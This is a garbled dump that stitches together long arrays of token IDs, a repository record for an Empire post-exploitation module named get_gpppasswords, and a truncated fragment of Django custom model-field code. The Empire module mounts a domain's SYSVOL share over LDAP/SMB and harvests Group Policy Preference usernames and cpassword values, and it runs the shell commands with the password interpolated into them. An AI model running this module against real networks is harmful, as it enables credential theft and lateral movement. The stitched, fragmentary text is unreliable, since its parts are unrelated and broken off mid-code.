8, 881, 3233, 367, 3233, 12, 9563, 63, 7911, 63, 3159, 63, 475, 63, 1235, 63, 3592, 63, 22344, 881, 315, 291, 423, 11948, 63, 460, 63, 388, 12453, 15805, 9, 489, 367, 3233, 63, 460, 63, 22344, 315, 291, 423, 11948, 63, 460, 63, 388, 12453, 15805, 26, 267, 3233, 63, 460, 63, 22344, 59, 17, 61, 275, 291, 423, 22344, 489, 340, 13484, 26, 267, 291, 423, 10212, 63, 14564, 8, 277, 423, 22344, 12, 13484, 9, 272, 13659, 63, 1825, 275, 485, 674, 14, 19741, 3737, 342, 272, 1830, 715, 26, 489, 6465, 63, 2775, 14, 6821, 63, 22344, 63, 929, 8, 881, 6465, 63, 22344, 12, 900, 14, 521, 342, 435, 378, 14, 18, 12, 13659, 63, 1825, 12, 488, 9, 489, 1566, 275, 13659, 63, 1825, 14, 2184, 342, 489, 543, 291, 423, 831 ]
[ 1898, 6900, 12, 4475, 3277, 14, 199, 3, 2900, 4481, 4644, 14, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 787, 199, 3, 7647, 26, 199, 3, 199, 3, 258, 627, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 199, 3, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 258, 627, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 199, 3, 4248, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 199, 3, 315, 314, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 199, 3, 4084, 14, 199, 3, 258, 627, 11443, 314, 536, 402, 4475, 3277, 14, 6590, 314, 1561, 402, 2399, 199, 3, 8417, 1443, 506, 1202, 370, 10692, 503, 10016, 7585, 7131, 687, 199, 3, 642, 2032, 1928, 2488, 6791, 5313, 4983, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 5877, 8164, 2401, 6483, 199, 3, 298, 1179, 2281, 2, 2401, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 2334, 5292, 2990, 1634, 3169, 2401, 3092, 2381, 199, 3, 437, 3115, 3104, 9315, 9706, 14, 1621, 4825, 6461, 7000, 2334, 5877, 199, 3, 11489, 1549, 6483, 6262, 7024, 2381, 1821, 8703, 12, 9168, 12, 9716, 12, 199, 3, 8820, 12, 9836, 12, 1549, 9110, 6736, 334, 6446, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 9838, 1634, 9103, 9764, 1549, 9714, 27, 9102, 1634, 4815, 12, 199, 3, 7126, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 9802, 9817, 2401, 5258, 1821, 199, 3, 9815, 1634, 5603, 12, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 199, 3, 334, 6446, 9254, 1549, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 199, 3, 1634, 5749, 4141, 12, 9704, 8036, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 199, 624, 14799, 509, 795, 282, 20170, 13, 929, 13, 5859, 461, 3623, 1041, 199, 199, 646, 5796, 199, 646, 900, 199, 199, 504, 19753, 423, 10394, 492, 485, 674, 199, 504, 19753, 423, 10394, 492, 485, 1313, 199, 504, 19753, 14, 5683, 492, 8386, 199, 504, 19753, 14, 4857, 14, 4214, 425, 492, 4550, 63, 1974, 199, 199, 63, 14833, 63, 6348, 10484, 1075, 63, 28100, 63, 3170, 63, 4947, 63, 8272, 275, 334, 272, 283, 1726, 6358, 3623, 9966, 3233, 10916, 199, 199, 63, 5896, 63, 14657, 6882, 1922, 63, 6689, 63, 2566, 63, 14833, 63, 14657, 6882, 1922, 275, 469, 272, 1174, 26, 20170, 367, 1174, 12, 20170, 315, 3482, 8, 267, 485, 1313, 14, 714, 13498, 2223, 12, 8386, 14, 5358, 714, 13498, 9, 199, 93, 421, 199, 533, 1448, 13498, 5358, 8, 785, 304, 819, 347, 636, 826, 721, 277, 12, 6465, 63, 2775, 304, 272, 291, 423, 831, 275, 5796, 14, 6432, 342, 272, 291, 423, 674, 63, 2775, 275, 6465, 63, 2775, 339, 291, 423, 17154, 275, 756, 272, 291, 423, 22344, 275, 488, 272, 291, 423, 893, 63, 475, 63, 2242, 275, 756, 272, 291, 423, 11948, 63, 460, 63, 388, 12453, 15805, 275, 942, 272, 291, 423, 31584, 316, 275, 756, 819, 347, 485, 31584, 1500, 8, 277, 12, 20170, 304, 272, 13484, 63, 9321, 316, 63, 873, 275, 942, 272, 367, 3233, 63, 460, 63, 22344, 315, 291, 423, 11948, 63, 460, 63, 388, 12453, 15805, 26, 489, 3233, 12, 3233, 63, 22344, 275, 3233, 63, 460, 63, 22344, 489, 340, 3233, 63, 22344, 365, 440, 20170, 26, 267, 13484, 63, 9321, 316, 63, 873, 14, 740, 8, 3058, 9, 267, 3233, 63, 460, 63, 22344, 59, 17, 61, 275, 20170, 272, 372, 13484, 63, 9321, 316, 63, 873, 819, 347, 485, 31584, 8, 277, 12, 2536, 63, 22344, 12, 2536, 63, 11948, 304, 272, 20170, 275, 2536, 63, 22344, 272, 13484, 275, 2536, 63, 11948, 272, 1830, 715, 26, 489, 367, 3233, 315, 13484, 26, 267, 4550, 63, 1974, 14, 1250, 63, 4806, 63, 3924, 8, 288, 3233, 12, 485, 14833, 63, 6348, 10484, 1075, 63, 28100, 63, 3170, 63, 4947, 63, 8272, 12, 288, 20170, 9, 489, 543, 291, 423, 831, 26, 267, 13484, 275, 291, 423, 31584, 1500, 8, 277, 423, 22344, 9, 267, 340, 13484, 26, 881, 20170, 275, 291, 423, 22344, 267, 587, 26, 881, 291, 423, 31584, 316, 275, 756, 881, 372, 819, 347, 485, 10212, 63, 14564, 8, 277, 12, 20170, 12, 13484, 304, 272, 28503, 316, 63, 2671, 275, 5796, 14, 4436, 8, 267, 1347, 29, 277, 423, 31584, 12, 1249, 2687, 22344, 12, 13484, 4641, 272, 28503, 316, 63, 2671, 14, 928, 342, 272, 291, 423, 31584, 316, 275, 715, 819, 327, 3254, 8, 5237, 4233, 772, 304, 7529, 1133, 11271, 14, 523, 347, 485, 6843, 63, 22344, 8, 277, 12, 6465, 63, 2775, 12, 2536, 63, 893, 63, 475, 63, 2242, 304, 272, 862, 63, 475, 63, 2242, 275, 2536, 63, 893, 63, 475, 63, 2242, 272, 6465, 63, 22344, 275, 6465, 63, 2775, 14, 1074, 63, 22344, 63, 929, 8, 893, 63, 475, 63, 2242, 9, 272, 543, 291, 423, 831, 26, 489, 291, 423, 22344, 275, 485, 5896, 63, 14657, 6882, 1922, 63, 6689, 63, 2566, 63, 14833, 63, 14657, 6882, 1922, 59, 881, 6465, 63, 22344, 61, 489, 13484, 275, 2008, 8, 881, 3233, 367, 3233, 12, 9563, 63, 7911, 63, 3159, 63, 475, 63, 1235, 63, 3592, 63, 22344, 881, 315, 291, 423, 11948, 63, 460, 63, 388, 12453, 15805, 9, 489, 367, 3233, 63, 460, 63, 22344, 315, 291, 423, 11948, 63, 460, 63, 388, 12453, 15805, 26, 267, 3233, 63, 460, 63, 22344, 59, 17, 61, 275, 291, 423, 22344, 489, 340, 13484, 26, 267, 291, 423, 10212, 63, 14564, 8, 277, 423, 22344, 12, 13484, 9, 272, 13659, 63, 1825, 275, 485, 674, 14, 19741, 3737, 342, 272, 1830, 715, 26, 489, 6465, 63, 2775, 14, 6821, 63, 22344, 63, 929, 8, 881, 6465, 63, 22344, 12, 900, 14, 521, 342, 435, 378, 14, 18, 12, 13659, 63, 1825, 12, 488, 9, 489, 1566, 275, 13659, 63, 1825, 14, 2184, 342, 489, 543, 291, 423, 831, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Hackplayers/Empire-mod-Hackplayers
lib/modules/python/privesc/windows/get_gpppasswords.py
14
5327
class Module: def __init__(self, mainMenu, params=[]): # metadata info about the module, not modified during runtime self.info = { # name for the module that will appear in module menus 'Name': 'Get Group Policy Preferences', # list of one or more authors for the module 'Author': ['@424f424f'], # more verbose multi-line description of the module 'Description': 'This module will attempt to pull group policy preference passwords from SYSVOL', # True if the module needs to run in the background 'Background' : False, # File extension to save the file as 'OutputExtension' : "", # if the module needs administrative privileges 'NeedsAdmin' : False, # True if the method doesn't touch disk/is reasonably opsec safe 'OpsecSafe' : True, # the module language 'Language' : 'python', # the minimum language version needed 'MinLanguageVersion' : '2.6', # list of any references/other comments 'Comments': [''] } # any options needed by the module, settable during runtime self.options = { # format: # value_name : {description, required, default_value} 'Agent' : { # The 'Agent' option is the only one that MUST be in a module 'Description' : 'Agent to run on.', 'Required' : True, 'Value' : '' }, 'LDAPAddress' : { # The 'Agent' option is the only one that MUST be in a module 'Description' : 'LDAP IP/Hostname', 'Required' : True, 'Value' : '' }, 'BindDN' : { # The 'Agent' option is the only one that MUST be in a module 'Description' : 'user@penlab.local', 'Required' : True, 'Value' : '' }, 'password' : { # The 'Agent' option is the only one that MUST be in a module 'Description' : 'Password to connect to LDAP', 'Required' : False, 'Value' : '' } } # save off a copy of the mainMenu object to access external functionality # like listeners/agent handlers/etc. self.mainMenu = mainMenu # During instantiation, any settable option parameters # are passed as an object set to the module and the # options dictionary is automatically set. This is mostly # in case options are passed on the command line if params: for param in params: # parameter format is [Name, Value] option, value = param if option in self.options: self.options[option]['Value'] = value def generate(self): LDAPAddress = self.options['LDAPAddress']['Value'] BindDN = self.options['BindDN']['Value'] password = self.options['password']['Value'] # the Python script itself, with the command to invoke # for execution appended to the end. Scripts should output # everything to the pipeline for proper parsing. # # the script should be stripped of comments, with a link to any # original reference script included in the comments. script = """ import sys, os, subprocess, re BindDN = "%s" LDAPAddress = "%s" password = "%s" password.replace('!','%%21') password.replace('#','%%23') password.replace('$','%%24') regex = re.compile('.+@([^.]+)\..+') global tld match = re.match(regex, BindDN) tld = match.group(1) global ext global name name = BindDN.split('@')[0] ext = BindDN.split('.')[1] cmd = \"""ldapsearch -x -h {} -b "dc={},dc={}" -D {} -w {} "(&(objectcategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))" ""\".format(LDAPAddress, tld, ext, BindDN, password) output = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE) output2 = subprocess.Popen(["grep", "name:"],stdin=output.stdout, stdout=subprocess.PIPE,universal_newlines=True) output.stdout.close() out,err = output2.communicate() print subprocess.Popen('mkdir /Volumes/sysvol', shell=True, stdout=subprocess.PIPE).stdout.read() cmd = \"""mount_smbfs //'{};{}:{}'@{}/SYSVOL /Volumes/sysvol""\".format(ext,name,password,LDAPAddress) print subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read() print "Searching for Passwords...This may take some time" xmls = subprocess.Popen('find /Volumes/sysvol -name *.xml', shell=True, stdout=subprocess.PIPE).stdout.read() cmd1 = \"""cat {}""\".format(xmls) result = subprocess.Popen(cmd1, shell=True, stdout=subprocess.PIPE).stdout.read() print "" for usermatch in re.finditer(r'userName="(.*?)"|newName="(.*?)"|cpassword="(.*?)"', result, re.DOTALL): print usermatch.group(0) print "" print subprocess.Popen('diskutil unmount force /Volumes/sysvol/', shell=True, stdout=subprocess.PIPE).stdout.read() print "" print "Finished" """ % (BindDN, LDAPAddress, password) return script
bsd-3-clause
[ 533, 5673, 26, 339, 347, 636, 826, 721, 277, 12, 2446, 5977, 12, 1862, 17894, 398, 327, 3341, 2256, 3595, 314, 859, 12, 440, 6042, 5309, 8836, 267, 291, 14, 815, 275, 469, 288, 327, 536, 367, 314, 859, 626, 911, 7468, 315, 859, 27906, 288, 283, 985, 356, 283, 1002, 5611, 18141, 5543, 4023, 297, 953, 327, 769, 402, 1373, 503, 1655, 11462, 367, 314, 859, 288, 283, 5949, 356, 788, 32, 21089, 70, 21089, 70, 995, 953, 327, 1655, 3376, 3510, 13, 604, 1369, 402, 314, 859, 288, 283, 5831, 356, 283, 2765, 859, 911, 7427, 370, 10299, 1572, 4592, 16705, 19572, 687, 10046, 4985, 2228, 297, 953, 327, 715, 340, 314, 859, 4839, 370, 1255, 315, 314, 8020, 288, 283, 14148, 7, 520, 756, 12, 953, 327, 3814, 3329, 370, 3354, 314, 570, 465, 288, 283, 2959, 6382, 7, 520, 4873, 953, 327, 340, 314, 859, 4839, 4628, 25124, 20001, 288, 283, 28390, 4880, 7, 520, 756, 12, 953, 327, 715, 340, 314, 1083, 3181, 1133, 12943, 4543, 15, 374, 4499, 6665, 1687, 3321, 5048, 288, 283, 4619, 3321, 11090, 7, 520, 715, 12, 953, 327, 314, 859, 2637, 288, 283, 8493, 7, 520, 283, 1548, 297, 953, 327, 314, 7481, 2637, 1015, 4346, 288, 283, 4649, 8493, 3353, 7, 520, 283, 18, 14, 22, 297, 953, 327, 769, 402, 1263, 6941, 15, 1848, 6786, 288, 283, 18929, 356, 24506, 267, 789, 398, 327, 1263, 1511, 4346, 701, 314, 859, 12, 663, 1224, 5309, 8836, 267, 291, 14, 1419, 275, 469, 288, 327, 1475, 26, 288, 327, 257, 574, 63, 354, 520, 469, 1802, 12, 1415, 12, 849, 63, 585, 93, 288, 283, 7788, 7, 520, 469, 355, 327, 710, 283, 7788, 7, 945, 365, 314, 1454, 1373, 626, 18095, 506, 315, 282, 859, 355, 283, 5831, 7, 257, 520, 257, 283, 7788, 370, 1255, 641, 3130, 355, 283, 8030, 7, 420, 520, 257, 715, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 19534, 1476, 7, 520, 469, 355, 327, 710, 283, 7788, 7, 945, 365, 314, 1454, 1373, 626, 18095, 506, 315, 282, 859, 355, 283, 5831, 7, 257, 520, 257, 283, 19534, 3531, 15, 25680, 297, 355, 283, 8030, 7, 420, 520, 257, 715, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 8198, 10872, 7, 520, 469, 355, 327, 710, 283, 7788, 7, 945, 365, 314, 1454, 1373, 626, 18095, 506, 315, 282, 859, 355, 283, 5831, 7, 257, 520, 257, 283, 751, 32, 897, 5561, 14, 1832, 297, 355, 283, 8030, 7, 420, 520, 257, 715, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 2060, 7, 520, 469, 355, 327, 710, 283, 7788, 7, 945, 365, 314, 1454, 1373, 626, 18095, 506, 315, 282, 859, 355, 283, 5831, 7, 257, 520, 257, 283, 6139, 370, 4907, 370, 20717, 297, 355, 283, 8030, 7, 420, 520, 257, 756, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 789, 267, 789, 398, 327, 3354, 2331, 282, 1331, 402, 314, 2446, 5977, 909, 370, 2879, 5957, 9330, 267, 327, 257, 2839, 19946, 15, 4054, 8297, 15, 6839, 14, 267, 291, 14, 973, 5977, 275, 2446, 5977, 398, 327, 577, 4039, 26621, 12, 1263, 663, 1224, 945, 2633, 267, 327, 257, 787, 3032, 465, 376, 909, 663, 370, 314, 859, 436, 314, 267, 327, 257, 1511, 2600, 365, 5847, 663, 14, 961, 365, 19762, 267, 327, 257, 315, 1930, 1511, 787, 3032, 641, 314, 1414, 1004, 267, 340, 1862, 26, 288, 367, 1215, 315, 1862, 26, 355, 327, 2725, 1475, 365, 359, 985, 12, 1594, 61, 355, 945, 12, 574, 275, 1215, 355, 340, 945, 315, 291, 14, 1419, 26, 490, 291, 14, 1419, 59, 1422, 2733, 1110, 418, 275, 574, 339, 347, 3550, 8, 277, 304, 398, 20717, 1476, 275, 291, 14, 1419, 459, 19534, 1476, 2545, 1110, 418, 267, 22630, 10872, 275, 291, 14, 1419, 459, 8198, 10872, 2545, 1110, 418, 267, 2505, 275, 291, 14, 1419, 459, 2060, 2545, 1110, 418, 398, 327, 314, 2018, 2884, 6337, 12, 543, 314, 1414, 370, 12677, 267, 327, 257, 367, 6451, 11544, 370, 314, 1284, 14, 14914, 83, 1077, 1072, 267, 327, 257, 8137, 370, 314, 7679, 367, 5576, 6057, 14, 267, 327, 267, 327, 314, 2884, 1077, 506, 14489, 402, 6786, 12, 543, 282, 2142, 370, 1263, 267, 327, 257, 3379, 3659, 2884, 5120, 315, 314, 6786, 14, 267, 2884, 275, 408, 199, 646, 984, 12, 747, 12, 3873, 12, 295, 199, 199, 8198, 10872, 275, 2071, 83, 2, 199, 19534, 1476, 275, 2071, 83, 2, 199, 2060, 275, 2071, 83, 2, 199, 2060, 14, 1814, 16157, 1673, 8530, 2025, 358, 199, 2060, 14, 1814, 7863, 1673, 8530, 1789, 358, 199, 2060, 14, 1814, 14676, 1673, 8530, 1194, 358, 199, 199, 3821, 275, 295, 14, 2014, 5175, 11, 32, 7059, 14, 18096, 703, 13854, 199, 2966, 307, 1447, 199, 1431, 275, 295, 14, 1431, 8, 3821, 12, 22630, 10872, 9, 199, 84, 1447, 275, 1336, 14, 923, 8, 17, 9, 199, 2966, 1599, 199, 2966, 536, 199, 354, 275, 22630, 10872, 14, 1294, 16591, 5832, 16, 61, 199, 832, 275, 22630, 10872, 14, 1294, 19237, 17, 61, 421, 199, 1760, 275, 971, 624, 9642, 1733, 446, 88, 446, 72, 1052, 446, 66, 298, 3833, 10324, 3833, 7622, 2, 446, 36, 1052, 446, 87, 1052, 7340, 6, 8, 785, 3710, 29, 2404, 2699, 5130, 751, 6009, 3717, 26, 17, 14, 18, 14, 13462, 14, 9225, 18683, 14, 17, 14, 20, 14, 14187, 26, 29, 31526, 430, 2, 3087, 60, 1674, 908, 8, 19534, 1476, 12, 307, 1447, 12, 1599, 12, 22630, 10872, 12, 2505, 9, 199, 1199, 275, 3873, 14, 7942, 8, 1760, 12, 5218, 29, 549, 12, 3839, 29, 5781, 14, 6089, 9, 199, 1199, 18, 275, 3873, 14, 7942, 5234, 25914, 401, 298, 354, 26, 2255, 6626, 29, 1199, 14, 2703, 12, 3839, 29, 5781, 14, 6089, 12, 24866, 63, 13839, 29, 549, 9, 199, 1199, 14, 2703, 14, 1600, 342, 199, 548, 12, 1508, 275, 1072, 18, 14, 10664, 342, 421, 199, 1361, 3873, 14, 7942, 360, 8215, 1182, 32480, 15, 1274, 5650 ]
[ 5673, 26, 339, 347, 636, 826, 721, 277, 12, 2446, 5977, 12, 1862, 17894, 398, 327, 3341, 2256, 3595, 314, 859, 12, 440, 6042, 5309, 8836, 267, 291, 14, 815, 275, 469, 288, 327, 536, 367, 314, 859, 626, 911, 7468, 315, 859, 27906, 288, 283, 985, 356, 283, 1002, 5611, 18141, 5543, 4023, 297, 953, 327, 769, 402, 1373, 503, 1655, 11462, 367, 314, 859, 288, 283, 5949, 356, 788, 32, 21089, 70, 21089, 70, 995, 953, 327, 1655, 3376, 3510, 13, 604, 1369, 402, 314, 859, 288, 283, 5831, 356, 283, 2765, 859, 911, 7427, 370, 10299, 1572, 4592, 16705, 19572, 687, 10046, 4985, 2228, 297, 953, 327, 715, 340, 314, 859, 4839, 370, 1255, 315, 314, 8020, 288, 283, 14148, 7, 520, 756, 12, 953, 327, 3814, 3329, 370, 3354, 314, 570, 465, 288, 283, 2959, 6382, 7, 520, 4873, 953, 327, 340, 314, 859, 4839, 4628, 25124, 20001, 288, 283, 28390, 4880, 7, 520, 756, 12, 953, 327, 715, 340, 314, 1083, 3181, 1133, 12943, 4543, 15, 374, 4499, 6665, 1687, 3321, 5048, 288, 283, 4619, 3321, 11090, 7, 520, 715, 12, 953, 327, 314, 859, 2637, 288, 283, 8493, 7, 520, 283, 1548, 297, 953, 327, 314, 7481, 2637, 1015, 4346, 288, 283, 4649, 8493, 3353, 7, 520, 283, 18, 14, 22, 297, 953, 327, 769, 402, 1263, 6941, 15, 1848, 6786, 288, 283, 18929, 356, 24506, 267, 789, 398, 327, 1263, 1511, 4346, 701, 314, 859, 12, 663, 1224, 5309, 8836, 267, 291, 14, 1419, 275, 469, 288, 327, 1475, 26, 288, 327, 257, 574, 63, 354, 520, 469, 1802, 12, 1415, 12, 849, 63, 585, 93, 288, 283, 7788, 7, 520, 469, 355, 327, 710, 283, 7788, 7, 945, 365, 314, 1454, 1373, 626, 18095, 506, 315, 282, 859, 355, 283, 5831, 7, 257, 520, 257, 283, 7788, 370, 1255, 641, 3130, 355, 283, 8030, 7, 420, 520, 257, 715, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 19534, 1476, 7, 520, 469, 355, 327, 710, 283, 7788, 7, 945, 365, 314, 1454, 1373, 626, 18095, 506, 315, 282, 859, 355, 283, 5831, 7, 257, 520, 257, 283, 19534, 3531, 15, 25680, 297, 355, 283, 8030, 7, 420, 520, 257, 715, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 8198, 10872, 7, 520, 469, 355, 327, 710, 283, 7788, 7, 945, 365, 314, 1454, 1373, 626, 18095, 506, 315, 282, 859, 355, 283, 5831, 7, 257, 520, 257, 283, 751, 32, 897, 5561, 14, 1832, 297, 355, 283, 8030, 7, 420, 520, 257, 715, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 2060, 7, 520, 469, 355, 327, 710, 283, 7788, 7, 945, 365, 314, 1454, 1373, 626, 18095, 506, 315, 282, 859, 355, 283, 5831, 7, 257, 520, 257, 283, 6139, 370, 4907, 370, 20717, 297, 355, 283, 8030, 7, 420, 520, 257, 756, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 789, 267, 789, 398, 327, 3354, 2331, 282, 1331, 402, 314, 2446, 5977, 909, 370, 2879, 5957, 9330, 267, 327, 257, 2839, 19946, 15, 4054, 8297, 15, 6839, 14, 267, 291, 14, 973, 5977, 275, 2446, 5977, 398, 327, 577, 4039, 26621, 12, 1263, 663, 1224, 945, 2633, 267, 327, 257, 787, 3032, 465, 376, 909, 663, 370, 314, 859, 436, 314, 267, 327, 257, 1511, 2600, 365, 5847, 663, 14, 961, 365, 19762, 267, 327, 257, 315, 1930, 1511, 787, 3032, 641, 314, 1414, 1004, 267, 340, 1862, 26, 288, 367, 1215, 315, 1862, 26, 355, 327, 2725, 1475, 365, 359, 985, 12, 1594, 61, 355, 945, 12, 574, 275, 1215, 355, 340, 945, 315, 291, 14, 1419, 26, 490, 291, 14, 1419, 59, 1422, 2733, 1110, 418, 275, 574, 339, 347, 3550, 8, 277, 304, 398, 20717, 1476, 275, 291, 14, 1419, 459, 19534, 1476, 2545, 1110, 418, 267, 22630, 10872, 275, 291, 14, 1419, 459, 8198, 10872, 2545, 1110, 418, 267, 2505, 275, 291, 14, 1419, 459, 2060, 2545, 1110, 418, 398, 327, 314, 2018, 2884, 6337, 12, 543, 314, 1414, 370, 12677, 267, 327, 257, 367, 6451, 11544, 370, 314, 1284, 14, 14914, 83, 1077, 1072, 267, 327, 257, 8137, 370, 314, 7679, 367, 5576, 6057, 14, 267, 327, 267, 327, 314, 2884, 1077, 506, 14489, 402, 6786, 12, 543, 282, 2142, 370, 1263, 267, 327, 257, 3379, 3659, 2884, 5120, 315, 314, 6786, 14, 267, 2884, 275, 408, 199, 646, 984, 12, 747, 12, 3873, 12, 295, 199, 199, 8198, 10872, 275, 2071, 83, 2, 199, 19534, 1476, 275, 2071, 83, 2, 199, 2060, 275, 2071, 83, 2, 199, 2060, 14, 1814, 16157, 1673, 8530, 2025, 358, 199, 2060, 14, 1814, 7863, 1673, 8530, 1789, 358, 199, 2060, 14, 1814, 14676, 1673, 8530, 1194, 358, 199, 199, 3821, 275, 295, 14, 2014, 5175, 11, 32, 7059, 14, 18096, 703, 13854, 199, 2966, 307, 1447, 199, 1431, 275, 295, 14, 1431, 8, 3821, 12, 22630, 10872, 9, 199, 84, 1447, 275, 1336, 14, 923, 8, 17, 9, 199, 2966, 1599, 199, 2966, 536, 199, 354, 275, 22630, 10872, 14, 1294, 16591, 5832, 16, 61, 199, 832, 275, 22630, 10872, 14, 1294, 19237, 17, 61, 421, 199, 1760, 275, 971, 624, 9642, 1733, 446, 88, 446, 72, 1052, 446, 66, 298, 3833, 10324, 3833, 7622, 2, 446, 36, 1052, 446, 87, 1052, 7340, 6, 8, 785, 3710, 29, 2404, 2699, 5130, 751, 6009, 3717, 26, 17, 14, 18, 14, 13462, 14, 9225, 18683, 14, 17, 14, 20, 14, 14187, 26, 29, 31526, 430, 2, 3087, 60, 1674, 908, 8, 19534, 1476, 12, 307, 1447, 12, 1599, 12, 22630, 10872, 12, 2505, 9, 199, 1199, 275, 3873, 14, 7942, 8, 1760, 12, 5218, 29, 549, 12, 3839, 29, 5781, 14, 6089, 9, 199, 1199, 18, 275, 3873, 14, 7942, 5234, 25914, 401, 298, 354, 26, 2255, 6626, 29, 1199, 14, 2703, 12, 3839, 29, 5781, 14, 6089, 12, 24866, 63, 13839, 29, 549, 9, 199, 1199, 14, 2703, 14, 1600, 342, 199, 548, 12, 1508, 275, 1072, 18, 14, 10664, 342, 421, 199, 1361, 3873, 14, 7942, 360, 8215, 1182, 32480, 15, 1274, 5650, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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.db import models from django.db.models.fields import CharField from django.utils.text import capfirst class HashField(models.CharField): description = ('HashField is related to some other field in a model and' 'stores its hashed value for better indexing performance.') def __init__(self, field_names='', *args, **kwargs): """ :param field_names: name of the field or fields storing the value to be hashed """ self.field_names = field_names kwargs['max_length'] = 40 kwargs['null'] = False kwargs.setdefault('db_index', True) kwargs.setdefault('editable', False) super(HashField, self).__init__(*args, **kwargs) def calculate_hash(self, model_instance): string_to_hash = '' for field_name in self.field_names.split(','): field_name = field_name.strip() field_value = getattr(model_instance, field_name) field_value = u"{0}".format(field_value) string_to_hash += hashlib.sha1(field_value.encode('utf-8')).hexdigest() hash = hashlib.sha1(string_to_hash).hexdigest() setattr(model_instance, self.attname, hash) return hash def pre_save(self, model_instance, add): self.calculate_hash(model_instance) return super(HashField, self).pre_save(model_instance, add) class LazyChoiceField(forms.ChoiceField): #def __init__(self, choices=(), required=True, widget=None, label=None, initial=None, help_text=None, *args, **kwargs): # super(LazyChoiceField, self).__init__(choices=choices, required=required, widget=widget, label=label, initial=initial, help_text=help_text, *args, **kwargs) def valid_value(self, value): return True class MultiSelectFormField(forms.MultipleChoiceField): widget = forms.CheckboxSelectMultiple def __init__(self, *args, **kwargs): self.max_choices = kwargs.pop('max_choices', 0) super(MultiSelectFormField, self).__init__(*args, **kwargs) self.initial = kwargs.pop('initial', '').split(',') def clean(self, value): if not value and self.required: raise forms.ValidationError(self.error_messages['required']) if value and self.max_choices and len(value) > self.max_choices: raise forms.ValidationError('You must select a maximum of %s choice%s.' % (apnumber(self.max_choices), pluralize(self.max_choices))) return value class MultiSelectField(models.Field): """ Credits go to Daniel Roseman http://djangosnippets.org/snippets/1200/ """ __metaclass__ = models.SubfieldBase def get_internal_type(self): return "CharField" def get_choices_default(self): return self.get_choices(include_blank=False) def _get_FIELD_display(self, field): value = getattr(self, field.attname) choicedict = dict(field.choices) def formfield(self, **kwargs): # don't call super, as that overrides default widget if it has choices defaults = {'required': not self.blank, 'label': capfirst(self.verbose_name), 'help_text': self.help_text, 'choices':self.choices} if self.has_default(): defaults['initial'] = self.get_default() defaults.update(kwargs) return MultiSelectFormField(**defaults) def get_db_prep_value(self, value, connection=None, prepared=False): if isinstance(value, basestring): return value elif isinstance(value, list): return ",".join(value) def value_to_string(self, obj): value = self._get_val_from_obj(obj) return self.get_db_prep_value(value) def to_python(self, value): if isinstance(value, list): return value elif value==None: return '' return value.split(",") def validate(self, value, model_instance): return def contribute_to_class(self, cls, name): super(MultiSelectField, self).contribute_to_class(cls, name) if self.choices: func = lambda self, fieldname = name, choice = None, choicedict = dict(self.choices): "%s" 